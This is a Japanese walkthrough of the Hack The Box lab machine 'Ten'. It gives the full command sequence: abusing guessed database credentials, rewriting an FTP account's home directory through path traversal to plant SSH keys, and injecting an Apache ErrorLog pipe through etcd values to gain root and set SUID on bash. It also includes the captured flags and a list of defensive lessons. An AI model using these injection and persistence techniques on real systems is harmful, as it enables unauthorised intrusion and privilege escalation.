Hack The BoxのWriteup(Ten)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Ten — 全実行コマンド・実行結果レポート
Nmap スキャン
21(FTP) / 22(SSH) / 80(HTTP)
→
signupポータル
FTPアカウント自動発行
→
vhost列挙
webdb.ten.vl 発見
→
webdb SPA操作
Guess Credentials → SQL実行
→
UPDATE users
dir/uid/gid改ざん(path traversal)
→
FTP鍵注入 → SSH tyrell
user.txt ✓
→
etcd/remco/Apache
ErrorLogパイプ注入
→
root権限コマンド実行
root.txt ✓

ポート・バージョンスキャン

BASH
nmap -Pn -p21,22,80 -sV -sC --min-rate 1000 10.129.234.158
RESULT
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
/etc/hosts に 10.129.234.158 ten.vl を追加しておく。 トップページは Page moved. というタイトルで、Host ヘッダなしでは 正しく表示されない(素のIPでは別の既定ページへリダイレクトされる)。
PHASE 2

signup ポータルの確認 & vhost列挙

signup ポータル — FTPアカウント自動発行

NOTE
http://ten.vl/ は "From Zero to Ten - your favorite free home page hoster"
という共有ホスティングサービスのランディングページ。「Sign up today」から
ドメイン名を指定すると、FTPアカウントと個人用サブドメインが即座に発行される
(「無認証でFTPアップロード」を売りにした、いかにも脆弱な体裁のサービス)。
BASH
curl -s -X POST http://ten.vl/get-credentials-please-do-not-spam-this-thanks.php \
  --data-urlencode "domain=testing"
RESULT
OK
Your personal account is ready to be used:

Username: ten-1481960f
Password: 873911d5
Personal Domain: testing.ten.vl

You can use the provided credentials to upload your pages via ftp://ten.vl.
It may take up to one minute for all backend processes to properly identify
you as well as your personal virtual host to be available.
ℹ️
domain パラメータは preg_match('/^[0-9a-z]+$/') で厳格に 検証されており、signupフォーム自体への直接のコマンド/SQLインジェクションは成立しない。

FTP接続確認

BASH
echo '10.129.234.158 testing.ten.vl' | sudo tee -a /etc/hosts
ftp ftp://ten-1481960f:873911d5@testing.ten.vl
RESULT
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
230 OK. Current directory is /
Remote system type is UNIX.

vhost列挙 — webdb.ten.vl の発見

BASH
wfuzz -H "Host: FUZZ.ten.vl" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  --hw 25 --hc 400 -t 100 http://ten.vl
RESULT
ID           Response Lines  Word   Chars   Payload
=====================================================================
000033008:   200      13 L    67 W   1683 Ch  "webdb"
🚨
webdb.ten.vl にアクセスすると、127.0.0.1:3306 のMySQLサーバーを 管理できる “WebDB” というWebアプリが表示される。signupで発行された資格情報 ではログインできないが、“Guess Credentials” ボタンで user:pas55w0rd が見つかる。
PHASE 3

webdb (Angular SPA) の操作による users テーブル改ざん

重要な注意点: webdbはAdminer互換ではない独自アプリ

⚠️
一見Adminer/phpMyAdmin風の管理画面に見えるが、実際には“WebDB”という 独自のAngular SPAで、SQLの実行はブラウザ上のMonacoエディタに直接 SQL文を入力し「送信」ボタンをクリックする操作でのみ可能(単純なHTTP POSTで 直接SQLを送れるAPIエンドポイントは存在しない)。ブラウザで以下の手順を そのまま実施する。

ログイン & データベース選択

NOTE
1. http://webdb.ten.vl/ にアクセス
2. 「Discovered」タブに表示される MySQL (127.0.0.1:3306) カードの
   「Guess Credentials」ボタンをクリック
   → "Credentials found: user | pa55w0rd" と表示され自動的に再スキャン
3. 「Connected」タブに切り替わり、"pureftpd" データベースが表示される
4. "pureftpd" をクリックして接続 → 自動的に users テーブルの Explore 画面へ
RESULT (Explore画面)
id  user         password                                 uid    gid    dir
1   ten-1481960f $1$OWNhNDE$tccZiehLfEBD/J04Uyswz1          37695  37695  /srv/ten-1481960f/./

Queryタブで UPDATE 文を実行

NOTE
「Query」タブをクリックし、エディタ内の既定SELECT文を全選択(Ctrl+A)して
削除した上で、以下のSQLを入力する。
SQL
UPDATE users SET
  dir = '/srv/../home/tyrell/.ssh',
  uid = '1000',
  gid = '1000'
WHERE
  user = 'ten-1481960f';
ℹ️
/etc/passwd をFTP経由で確認すると tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash という実ユーザーが存在する(UID/GID=1000)。素直に /home/tyrell/.ssh と 指定するとPure-FTPdが「ホームディレクトリが見つからない」として拒否するため、 /srv/../home/tyrell/.ssh というpath traversalで FTPアカウントのルート制限(/srv配下限定)を回避する必要がある。
NOTE
入力後、画面左上の送信ボタン(紙飛行機アイコン)をクリックして実行する。
RESULT
fieldCount  affectedRows  insertId  info                                serverStatus
0           1             0         Rows matched: 1  Changed: 1  Warnings: 0  34
✅
UPDATE成功。 自分のFTPアカウントのホームディレクトリが tyrellの .ssh フォルダに切り替わった。
PHASE 4

FTP経由のauthorized_keys注入 → user.txt

再接続 & SSH鍵ペア生成

BASH
ssh-keygen -t ed25519 -N "" -f ten_key

ftp ftp://ten-1481960f:873911d5@ten.vl
RESULT
230 OK. Current directory is /home/tyrell/.ssh
ftp> ls -a
drwx------  2 1000  1000  4096 ... .
drwxr-x---  4 1000  1000  4096 ... ..
-rw-------  1 1000  1000   162 ... authorized_keys   ← 既存のキーも存在

authorized_keysのアップロード

BASH
ftp> put ten_key.pub authorized_keys
RESULT
226 File successfully transferred
⚠️
既存の authorized_keys を上書きしてしまうため、正規利用者の アクセスを一時的に奪うことになる点に注意(授権されたペンテスト環境のみで 実施すること)。

SSHログイン & user.txt取得

BASH
ssh -i ten_key tyrell@ten.vl
tyrell@ten:~$ id
tyrell@ten:~$ cat .user.txt
RESULT
uid=1000(tyrell) gid=1000(tyrell) groups=1000(tyrell)
a0a255ad63b7a26d83467fa6e0a6a757
user.txt — tyrell
a0a255ad63b7a26d83467fa6e0a6a757
PHASE 5

etcd / remco / Apache 設定再生成の仕組みを調査

signup PHPソースの確認 — etcdctlの実行を発見

NOTE
www権限のプロセス監視(pspy等)やWebサーバー設定の調査から、
get-credentials-....php は内部で以下を実行していることが判明する:

  $mysqli->prepare("INSERT INTO users VALUES (NULL, ?, ?, ?, ?, ?);")
  ...
  $dir = "/srv/$username/./";
  ...
  system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);

etcd (分散KVS、Kubernetes等で使われる構成管理ストア) にドメイン名が
そのまま書き込まれる。

remco サービスの発見

BASH
tyrell@ten:~$ systemctl status remco
tyrell@ten:~$ cat /etc/remco/config
tyrell@ten:~$ cat /etc/remco/templates/010-customers.conf.tmpl
RESULT (/etc/remco/config)
[[resource.template]]
  src = "/etc/remco/templates/010-customers.conf.tmpl"
  dst = "/etc/apache2/sites-enabled/010-customers.conf"
  reload_cmd = "systemctl restart apache2.service"

  [resource.backend.etcd]
    nodes = ["http://127.0.0.1:2379"]
    keys = ["/customers"]
    watch = true
    interval = 5
RESULT (テンプレート)
{% for customer in lsdir("/customers") %}
  {% if exists(printf("/customers/%s/url", customer)) %}
<VirtualHost *:80>
  ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
  DocumentRoot /srv/{{ customer }}/
</VirtualHost>
  {% endif %}
{% endfor %}
🚨
root権限で動くremcoサービスが、/customers/* 配下のetcdキーを5秒間隔で監視し、変更があると 010-customers.conf を再生成して systemctl restart apache2.service を実行する。 ServerName 行にetcdの値(url)がサニタイズなしで そのまま展開されており、設定ファイルインジェクションが可能。

tyrellは etcdctl をローカルで直接実行できる

BASH
tyrell@ten:~$ which etcdctl
tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/pwn-test/url demo
tyrell@ten:~$ cat /etc/apache2/sites-enabled/010-customers.conf
RESULT
<VirtualHost *:80>
  ServerName demo.ten.vl
  DocumentRoot /srv/pwn-test/
</VirtualHost>
✅
認証なしで127.0.0.1:2379のetcdに直接putでき、即座に反映されることを確認。 次はServerName行への改行注入でApacheの別ディレクティブを 差し込む。
PHASE 6

Apache ErrorLog パイプ注入 → root.txt

ペイロードスクリプトの配置 — /tmp は使わない

🚨
重要な罠: apache2.service の systemd ユニットには PrivateTmp=true が設定されている (systemctl cat apache2 で確認可能)。これはApacheプロセス (ErrorLogパイプで起動される子プロセスも含む)から見える /tmp が、SSHセッション(tyrell)の /tmp とは別の名前空間 になることを意味する。ペイロードスクリプトを /tmp に置いて ErrorLogから参照すると、Apache側からは「ファイルが存在しない」ものとして 扱われ、エラーも出さずに静かに失敗する。必ず /home/tyrell 配下にスクリプトを置くこと。
BASH
tyrell@ten:~$ cat > /home/tyrell/.p.sh << 'EOF'
#!/bin/bash
cp /root/root.txt /home/tyrell/.rf 2>/dev/null
cp /root/.root.txt /home/tyrell/.rf 2>/dev/null
chmod 644 /home/tyrell/.rf 2>/dev/null
chmod +s /bin/bash 2>/dev/null
EOF
tyrell@ten:~$ chmod +x /home/tyrell/.p.sh

ErrorLog パイプ注入の発火

NOTE
Apacheの ErrorLog ディレクティブは、値が "|" (パイプ) で始まると、
それ以降をエラーログを受け取るコマンドとして起動する(標準的なログローテート
機能だが、任意コマンド実行に悪用できる)。etcdの値に改行を混ぜ込み、
ServerName行の直後にErrorLogディレクティブを追加する。末尾の "#" で、
注入行の後に残る元のドメイン値の残骸(".ten.vl")をコメントアウトする。
BASH
tyrell@ten:~$ printf 'x.ten.vl\n  ErrorLog "|/bin/bash /home/tyrell/.p.sh"\n#' > /home/tyrell/.v
tyrell@ten:~$ ETCDCTL_API=3 etcdctl put /customers/pwn/url "$(cat /home/tyrell/.v)"
tyrell@ten:~$ cat /etc/apache2/sites-enabled/010-customers.conf
RESULT
<VirtualHost *:80>
  ServerName x.ten.vl
  ErrorLog "|/bin/bash /home/tyrell/.p.sh"
#.ten.vl
  DocumentRoot /srv/pwn/
</VirtualHost>
ℹ️
remcoが約5秒以内にこの変更を検知し、systemctl restart apache2.service を実行する(root権限)。Apacheが新しい設定を読み込む際、ErrorLogパイプで 指定したコマンドを特権ドロップ前のマスタープロセス(root) が起動する。

root.txt取得 & SUID bash確認

BASH
# remcoのApache再起動を待つ(数秒〜十数秒)
tyrell@ten:~$ sleep 12
tyrell@ten:~$ cat /home/tyrell/.rf
tyrell@ten:~$ ls -la /bin/bash
RESULT
d89266bde1e8cfe1cd70194bd899d2e7
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
BASH(SUID bashでの確認)
tyrell@ten:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=1000(tyrell) gid=1000(tyrell) euid=0(root) groups=1000(tyrell)
d89266bde1e8cfe1cd70194bd899d2e7
root.txt — root@ten
d89266bde1e8cfe1cd70194bd899d2e7
ℹ️
PDF記載の別解として、ErrorLogに直接 "|/usr/bin/cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" を指定する方法もある(スクリプトファイルを一切経由しない1行コマンドのため PrivateTmpの影響を受けず、こちらは最初から動作する)。これを使えば ssh -i ten_key root@ten.vl で直接rootシェルを得られる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — tyrell
a0a255ad63b7a26d83467fa6e0a6a757
root.txt — root@ten
d89266bde1e8cfe1cd70194bd899d2e7

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
デフォルト/推測可能な資格情報 webdb.ten.vl (MySQL管理SPA) MySQLへの管理アクセス High 「Guess Credentials」機能自体が弱い資格情報(user:pas55w0rd)をそのまま見つけてくれる設計ミス
任意ユーザーなりすまし (IDOR的UID改ざん) pureftpd.users テーブル + Pure-FTPd 任意ローカルユーザーのホームディレクトリへの書込みアクセス Critical 自分のFTPアカウントのdir/uid/gidを実在ユーザー(tyrell)のものに書き換え、path traversalでFTPのルート制限を回避
設定テンプレートインジェクション remco (etcd駆動のApache設定再生成) root権限でのコマンド実行 Critical サニタイズされないetcd値がApache ServerNameへ直接展開される仕様を悪用し、改行+ErrorLogパイプディレクティブを注入

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap21(FTP)/22(SSH)/80(HTTP)
2初期列挙signupポータル + wfuzz vhost列挙FTPアカウント自動発行、webdb.ten.vl発見
3DB改ざんwebdb SPA操作(Guess Credentials + UPDATE)自FTPアカウントのdir/uid/gidをtyrellに変更
4横移動FTP authorized_keys注入 + SSHuser.txt 取得(tyrell)
5権限調査remco/etcd設定解析Apache設定テンプレートインジェクションの糸口を特定
6権限昇格etcd put + Apache ErrorLogパイプ注入root.txt 取得

学んだ教訓 & 防御策

問題点防御策
弱い/推測可能なMySQL資格情報、かつ「Guess Credentials」のような自動推測機能自体が攻撃者の手間を省いてしまう 強力でランダムな資格情報を使用し、管理ツールに安易な資格情報推測機能を実装しない。管理ポータルはネットワークレベルでも隔離する。
ユーザー入力(FTPアカウントの dir/uid/gid)を信頼し、他ユーザーのホームディレクトリへの不正な紐付けを許してしまう アプリケーションレベルでuid/gidの変更範囲を検証し、既存システムユーザーのUID帯域への書き換えを禁止する。FTPサーバー側でもホームディレクトリのパス正規化・path traversal対策を徹底する。
設定管理ツール(remco)が外部入力(etcd値)をサニタイズせずApache設定ファイルへ直接埋め込んでいる テンプレートに展開する値は必ずエスケープ/検証する。構成管理ストア(etcd等)への書込み権限は最小権限の原則で厳格に制限する。
HackTheBox: Ten | 完全攻略レポート